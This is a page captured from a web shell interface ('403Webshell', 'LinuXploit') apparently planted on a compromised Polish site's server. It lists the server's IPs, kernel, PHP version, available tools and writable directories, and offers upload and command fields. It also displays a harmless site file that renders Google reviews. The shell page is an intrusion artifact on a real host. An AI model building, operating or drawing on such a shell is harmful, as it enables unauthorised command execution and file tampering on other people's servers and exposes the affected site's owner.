403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/includes/opinie_simple.php
<?php
declare(strict_types=1);

function polana_opinie_cfg(): array {
    static $cfg=null;
    if ($cfg!==null) return $cfg;
    $file=__DIR__.'/opinie_simple_private.php';
    $cfg=is_file($file) ? require $file : [];
    return is_array($cfg)?$cfg:[];
}

function polana_google_review_url(): string {
    $cfg=polana_opinie_cfg();
    $u=trim((string)($cfg['review_url'] ?? ''));
    return $u!=='' ? $u : 'https://g.page/r/CQ197mjWBzblEAE/review';
}

function polana_google_widget_html(): string {
    $file=dirname(__DIR__).'/data/trustindex-widget.html';
    if (!is_file($file)) return '';
    $html=trim((string)@file_get_contents($file));
    if ($html==='' || str_starts_with($html,'<!--')) return '';
    return $html;
}

function polana_google_reviews_render(bool $compact=false): void {
    // POLANA_V1819_REVIEWS_FOOTER_OFF — opiniami zarządza teraz /opinie.
    return;
}

Youez - 2016 - github.com/yon3zu
LinuXploit